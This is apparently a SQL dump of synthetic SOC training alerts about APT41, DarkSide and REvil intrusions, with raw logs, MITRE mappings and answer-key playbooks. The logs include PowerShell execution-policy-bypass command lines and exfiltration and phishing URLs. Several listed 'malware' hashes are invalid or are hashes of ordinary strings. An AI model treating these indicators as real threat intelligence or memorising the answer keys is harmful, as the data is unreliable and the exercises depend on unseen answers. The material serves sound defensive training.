Network\",\"verdict\":\"internal\",\"details\":\"Internal database server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory Logs\",\"verdict\":\"suspicious\",\"details\":\"Account recently accessed from multiple foreign IPs.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz tool.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"mimilib.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File used by Mimikatz for credential dumping.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(412, 'Exfiltration of Game Source Code and PII', 'critical', 'Data Loss Prevention', 'APT41 successfully exfiltrated sensitive game source code and PII. This marks the completion of their dual-mode operation focused on both commercial and strategic gains.', 'Data Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:32:00Z\",\"event_id\":\"EXFIL-2023-5276\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.15\",\"action\":\"ALLOW\",\"protocol\":\"HTTPS\",\"file_name\":\"game_source_code_v1.0.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"url\":\"https://malicious-domain.com/upload\",\"data_volume\":\"15GB\",\"comments\":\"Data exfiltration detected via secured channel; source code and PII files identified.\"}', '2026-01-04 02:21:52', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known APT41 command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Malicious file associated with APT41 operations.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"https://malicious-domain.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"URL associated with data exfiltration activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"game_source_code_v1.0.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal analysis\",\"verdict\":\"malicious\",\"details\":\"Exfiltrated file containing sensitive game source code.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(413, 'Supply Chain Compromise Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'Anomalous network activity detected indicating a potential supply chain compromise. The malicious code was inserted into a popular software update by APT41, exploiting the company\'s reliance on the software to gain a foothold in the network.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.10\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"update_v1.23.4.exe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"alert_id\":\"NIDS-20231015-0001\"}', '2026-01-04 04:11:48', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Corporate workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious software update used in supply chain attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"update_v1.23.4.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Filename associated with malicious software update distribution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(414, 'Suspicious Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'After gaining access, the attackers deployed a suspicious script to execute a ransomware payload, aiming to encrypt critical business data and demand a ransom. The script was detected running on a critical server.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"edr-20231015-0001\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"script_name\":\"encryptor_v2.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"process_id\":4521,\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\j.doe\\\\Desktop\\\\encryptor_v2.ps1\",\"detected_by\":\"EDR\",\"external_ip\":\"203.0.113.45\",\"malware_family\":\"APT41\"}', '2026-01-04 04:11:48', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41 activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash recognized as part of a ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"encryptor_v2.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Database\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized script executed on high-value server\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Valid user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(415, 'Persistence Mechanism Activated', 'high', 'SIEM', 'The attackers have implemented persistence mechanisms, such as scheduled tasks and registry modifications, to ensure they can regain access even if initial efforts are disrupted. A suspicious scheduled task and registry key modification were detected on the host machine. This activity aligns with known APT41 tactics.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:34Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.50\",\"username\":\"jdoe\",\"scheduled_task\":\"UpdateCheck\",\"registry_key\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"Updater.exe\",\"action\":\"Task Created\",\"description\":\"A new scheduled task \'UpdateCheck\' was created with a malicious binary associated with APT41.\",\"os\":\"Windows 10\"}', '2026-01-04 04:11:48', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal corporate network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious executable used by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Updater.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection System\",\"verdict\":\"malicious\",\"details\":\"Executable linked to persistence mechanism.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used in previous suspicious activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(416, 'Lateral Movement Detected', 'high', 'User and Entity Behavior Analytics (UEBA)', 'APT41 is utilizing stolen credentials to move laterally across the network, targeting sensitive systems. This activity is characteristic of espionage operations and poses a significant threat to the organization\'s critical infrastructure.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:05Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.15\",\"username\":\"jdoe_admin\",\"event_type\":\"lateral_movement\",\"event_description\":\"Suspicious lateral movement detected using stolen credentials\",\"malware_hash\":\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\",\"filename\":\"APT41_Tool.exe\",\"observed_activity\":[{\"action\":\"login_attempt\",\"result\":\"success\",\"target_system\":\"10.0.5.15\"},{\"action\":\"file_access\",\"result\":\"success\",\"file\":\"Sensitive_Data.xlsx\"}]}', '2026-01-04 04:11:48', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known APT41 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalLogs\",\"verdict\":\"internal\",\"details\":\"Critical system targeted for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalLogs\",\"verdict\":\"suspicious\",\"details\":\"Potentially compromised account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b6a9e7d3c569a7b9d8970e1ab5ec9a8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with APT41 lateral movement tools.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"APT41_Tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDB\",\"verdict\":\"malicious\",\"details\":\"APT41 malicious tool for network penetration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(417, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP)', 'In the final stage, the attackers attempt to exfiltrate valuable data to an external server, intending to use it for espionage purposes or to sell on the black market.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"185.92.220.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_name\":\"confidential_report.pdf\",\"file_hash\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"action\":\"blocked\",\"alert_id\":\"DLPA123456\",\"tool_used\":\"CCleaner Supply Chain\",\"severity\":\"High\"}', '2026-01-04 04:11:48', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration server used by APT41.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in the data exfiltration attempt.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with unauthorized data transfer attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(418, 'Phishing Email Detected', 'medium', 'Email Gateway Logs', 'A phishing email was detected originating from a known malicious IP address, targeting employees to harvest credentials. The email contains a suspicious attachment and a link to a phishing site.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"email_subject\":\"Urgent: Account Verification Required\",\"from_address\":\"support@secure-mail.com\",\"to_address\":\"john.doe@company.com\",\"attachment_name\":\"invoice_0923.docx\",\"attachment_hash\":\"3f9d4ff4e12a3e47a9f7b1c256b4c033\",\"phishing_url\":\"http://malicious-verify-login.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36\"}', '2026-01-04 04:13:57', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Company employee workstation\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f9d4ff4e12a3e47a9f7b1c256b4c033\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected in multiple AV engines\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-verify-login.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"Active phishing site\"}},{\"id\":\"artifact_5\",\"type\":\"email\",\"value\":\"support@secure-mail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"suspicious\",\"details\":\"Spoofed email address\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"invoice_0923.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Analysis\",\"verdict\":\"malicious\",\"details\":\"Contains macro with credential-stealing capabilities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(419, 'Malware Execution Alert', 'high', 'Endpoint Detection and Response (EDR)', 'The threat actors have successfully deployed malware on the compromised system to execute code that establishes a foothold within the network. This step follows the acquisition of valid credentials.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T14:22:35Z\",\"event_type\":\"execution\",\"source\":\"EDR\",\"host_ip\":\"192.168.1.15\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\\\Temp\\\\malicious.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"username\":\"jdoe\",\"attacker_ip\":\"203.0.113.89\"}', '2026-01-04 04:13:57', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"public_records\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Malware hash identified in multiple threat databases.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to establish foothold within the network.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_records\",\"verdict\":\"suspicious\",\"details\":\"User account used for unauthorized execution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(420, 'Persistence Mechanism Detected', 'high', 'System Logs', 'A persistence mechanism associated with DarkSide has been detected, indicating an attempt to maintain access to the compromised system. The mechanism involves suspicious registry modifications and the presence of known malicious binaries.', 'Persistence', 'T1050 - New Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:45Z\",\"host_ip\":\"192.168.1.105\",\"user\":\"john_doe\",\"event_id\":7045,\"event_source\":\"Service Control Manager\",\"service_name\":\"DarkSideService\",\"service_path\":\"C:\\\\Windows\\\\System32\\\\darkside.exe\",\"md5_hash\":\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\",\"attacker_ip\":\"203.0.113.45\",\"registry_change\":{\"key\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"DarkSideService\",\"value_data\":\"C:\\\\Windows\\\\System32\\\\darkside.exe\"}}', '2026-01-04 04:13:57', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address used by DarkSide APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"ae67f4c3d2b5e8a9f5b3d4f0e3a1c9d8\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus total\",\"verdict\":\"malicious\",\"details\":\"MD5 hash associated with DarkSide malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"darkside.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Executable linked to DarkSide operations.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"clean\",\"details\":\"User associated with the compromised system.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(421, 'Unauthorized Admin Access', 'high', 'Network Traffic Analysis', 'The attackers use escalated privileges to move laterally within the network, targeting systems that control pipeline operations. Network logs indicate unauthorized login attempts to admin accounts from suspicious external IPs.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T07:45:22Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.12\",\"username\":\"admin_user\",\"success\":true,\"action\":\"login\",\"description\":\"Successful login using administrative credentials from external IP.\",\"alert\":\"Unauthorized Admin Access Detected\",\"hashes\":{\"sha256\":\"d2d2d2d2b2b2c2c2f2f2g2g2h2h2i2i2j2j2k2k2l2l2m2m2n2n2o2o2p2p2\"}}', '2026-01-04 04:13:57', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"Account used for unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d2d2d2d2b2b2c2c2f2f2g2g2h2h2i2i2j2j2k2k2l2l2m2m2n2n2o2o2p2p2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified in connection with APT attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NULL', 1, 0, NULL),
(422, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) Systems', 'In the final stage, DarkSide attempts to exfiltrate sensitive operational data, which could be used for ransom or sold on the black market. The DLP system detected an unauthorized data transfer to an external IP address.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"file_hash\":\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\",\"filename\":\"OperationalData_Backup.zip\",\"protocol\":\"HTTPS\",\"action\":\"blocked\",\"alert_id\":\"DLPS-5678-EXF\"}', '2026-01-04 04:13:57', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known IP address used by DarkSide for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f3b9e2c6f8d3c2d7f8c3b3e5a5e6d7c8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with suspicious data exfiltration files.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"OperationalData_Backup.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive data being exfiltrated.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"User account potentially compromised for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(423, 'Unusual Phishing Email Detected', 'medium', 'Email Gateway Logs', 'An employee received a phishing email with a malicious attachment, indicative of REvil\'s initial access strategy. The email originated from a suspicious IP and contained a known malicious file hash.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T08:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"j.doe@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"invoice_update.docm\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"},\"user\":\"j.doe\",\"message_id\":\"<20231017083245.123456@maliciousdomain.com>\"}', '2026-01-04 04:25:30', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email domain flagged for sending phishing emails.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious document used by REvil.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_update.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern common in phishing attachments.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Internal employee targeted by phishing attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
